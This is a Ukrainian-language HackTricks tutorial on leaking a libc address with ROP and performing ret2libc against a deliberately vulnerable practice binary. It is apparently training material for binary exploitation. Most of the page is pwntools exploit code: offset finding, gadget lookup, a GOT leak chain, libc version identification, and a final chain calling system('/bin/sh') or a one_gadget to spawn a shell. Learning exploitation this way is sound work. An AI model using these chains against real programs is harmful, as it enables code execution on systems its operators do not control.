Витік адреси libc з ROP

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Швидкий огляд

  1. Знайти переповнення зсув
  2. Знайти гаджет POP_RDI, гаджети PUTS_PLT та MAIN
  3. Використати попередні гаджети для витоку адреси пам'яті функції puts або іншої функції libc та знайти версію libc (завантажити)
  4. З бібліотекою, обчислити ROP та експлуатувати його

Інші посібники та бінарники для практики

Цей посібник буде експлуатувати код/бінарник, запропонований у цьому посібнику: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Інші корисні посібники: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Код

Ім'я файлу: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Завантажте експлойт і помістіть його в ту ж директорію, що й вразливий бінарний файл, і надайте необхідні дані скрипту:

Leaking libc - template

1- Знаходження зсуву

Шаблон потребує зсуву перед продовженням експлойту. Якщо будь-який зсув надано, він виконає необхідний код для його знаходження (за замовчуванням OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Виконайте python template.py, у консолі GDB відкриється програма, яка зазнала збою. Всередині цієї консолі GDB виконайте x/wx $rsp, щоб отримати байти, які збиралися перезаписати RIP. Нарешті, отримайте зсув за допомогою консолі python:

python
from pwn import *
cyclic_find(0x6161616b)

Після знаходження зсуву (в цьому випадку 40) змініть змінну OFFSET всередині шаблону, використовуючи це значення.
OFFSET = "A" * 40

Інший спосіб - використовувати: pattern create 1000 -- виконати до ret -- pattern seach $rsp з GEF.

2- Знаходження гаджетів

Тепер нам потрібно знайти ROP гаджети всередині бінарного файлу. Ці ROP гаджети будуть корисні для виклику puts, щоб знайти libc, що використовується, а пізніше для запуску фінального експлойту.

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT потрібен для виклику функції puts.
MAIN_PLT потрібен для повторного виклику головної функції після одного взаємодії, щоб використати переповнення знову (безкінечні раунди експлуатації). Він використовується в кінці кожного ROP для повторного виклику програми.
POP_RDI потрібен для передачі параметра до викликаної функції.

На цьому етапі вам не потрібно нічого виконувати, оскільки все буде знайдено за допомогою pwntools під час виконання.

3- Знаходження бібліотеки libc

Тепер час дізнатися, яка версія бібліотеки libc використовується. Для цього ми будемо викривати адресу в пам'яті функції puts, а потім ми будемо шукати, в якій версії бібліотеки знаходиться версія puts за цією адресою.

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Щоб це зробити, найважливішим рядком виконуваного коду є:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Це надішле кілька байтів, поки перезапис RIP не стане можливим: OFFSET.
Потім він встановить адресу гаджета POP_RDI, щоб наступна адреса (FUNC_GOT) була збережена в регістрі RDI. Це тому, що ми хочемо викликати puts, передаючи їй адресу PUTS_GOT, оскільки адреса в пам'яті функції puts зберігається за адресою, на яку вказує PUTS_GOT.
Після цього буде викликано PUTS_PLTPUTS_GOT всередині RDI), щоб puts прочитала вміст всередині PUTS_GOT (адресу функції puts в пам'яті) і вивела її.
Нарешті, функція main викликається знову, щоб ми могли знову експлуатувати переповнення.

Таким чином, ми обманули функцію puts, щоб вона вивела адресу в пам'яті функції puts (яка знаходиться в бібліотеці libc). Тепер, коли ми маємо цю адресу, ми можемо шукати, яка версія libc використовується.

Оскільки ми експлуатуємо деякий локальний бінарний файл, не потрібно з'ясовувати, яка версія libc використовується (просто знайдіть бібліотеку в /lib/x86_64-linux-gnu/libc.so.6).
Але в випадку віддаленого експлоїту я поясню, як ви можете це знайти:

3.1- Пошук версії libc (1)

Ви можете шукати, яка бібліотека використовується на веб-сторінці: https://libc.blukat.me/
Це також дозволить вам завантажити виявлену версію libc

3.2- Пошук версії libc (2)

Ви також можете зробити:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Це займе деякий час, будьте терплячими.
Для цього нам потрібно:

  • Ім'я символу libc: puts
  • Витік адреси libc: 0x7ff629878690

Ми можемо з'ясувати, яка libc найімовірніше використовується.

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Ми отримуємо 2 збіги (ви повинні спробувати друге, якщо перше не працює). Завантажте перше:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Скопіюйте libc з libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so до нашого робочого каталогу.

3.3- Інші функції для витоку

python
puts
printf
__libc_start_main
read
gets

4- Знаходження адреси libc на основі та експлуатація

На цьому етапі ми повинні знати, яка бібліотека libc використовується. Оскільки ми експлуатуємо локальний бінарний файл, я використаю лише: /lib/x86_64-linux-gnu/libc.so.6

Отже, на початку template.py змініть змінну libc на: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Встановіть шлях до бібліотеки, коли знаєте його

Надавши шлях до бібліотеки libc, решта експлуатації буде автоматично розрахована.

Всередині функції get_addr буде розраховано базову адресу libc:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

Зверніть увагу, що кінцева адреса бази libc повинна закінчуватися на 00. Якщо це не так, ви могли витікати неправильну бібліотеку.

Тоді адреса функції system та адреса рядка "/bin/sh" будуть обчислені з бази адреси libc та надані бібліотеці libc.

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Нарешті, експлойт виконання /bin/sh буде підготовлений для відправки:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Давайте пояснимо цей фінальний ROP.
Останній ROP (rop1) знову викликав функцію main, тому ми можемо знову експлуатувати переповнення (ось чому OFFSET знову тут). Потім ми хочемо викликати POP_RDI, вказуючи на адресу "/bin/sh" (BINSH) і викликати функцію system (SYSTEM), оскільки адреса "/bin/sh" буде передана як параметр.
Нарешті, адреса функції exit викликається, щоб процес коректно завершився і не було згенеровано жодних сповіщень.

Таким чином, експлойт виконає _/bin/sh_** оболонку.**

4(2)- Використання ONE_GADGET

Ви також можете використовувати ONE_GADGET , щоб отримати оболонку замість використання system і "/bin/sh". ONE_GADGET знайде в бібліотеці libc спосіб отримати оболонку, використовуючи лише одну ROP адресу.
Однак, зазвичай є деякі обмеження, найпоширеніші та легкі для уникнення - це такі, як [rsp+0x30] == NULL. Оскільки ви контролюєте значення всередині RSP, вам просто потрібно надіслати ще кілька NULL значень, щоб уникнути обмеження.

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Ви можете знайти шаблон для експлуатації цієї вразливості тут:

Leaking libc - template

Загальні проблеми

MAIN_PLT = elf.symbols['main'] не знайдено

Якщо символ "main" не існує. Тоді ви можете знайти, де знаходиться основний код:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

і встановіть адресу вручну:

python
MAIN_PLT = 0x401080

Puts не знайдено

Якщо бінарний файл не використовує Puts, вам слід перевірити, чи використовує він

sh: 1: %s%s%s%s%s%s%s%s: не знайдено

Якщо ви знайдете цю помилку після створення всіх експлойтів: sh: 1: %s%s%s%s%s%s%s%s: не знайдено

Спробуйте відняти 64 байти від адреси "/bin/sh":

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks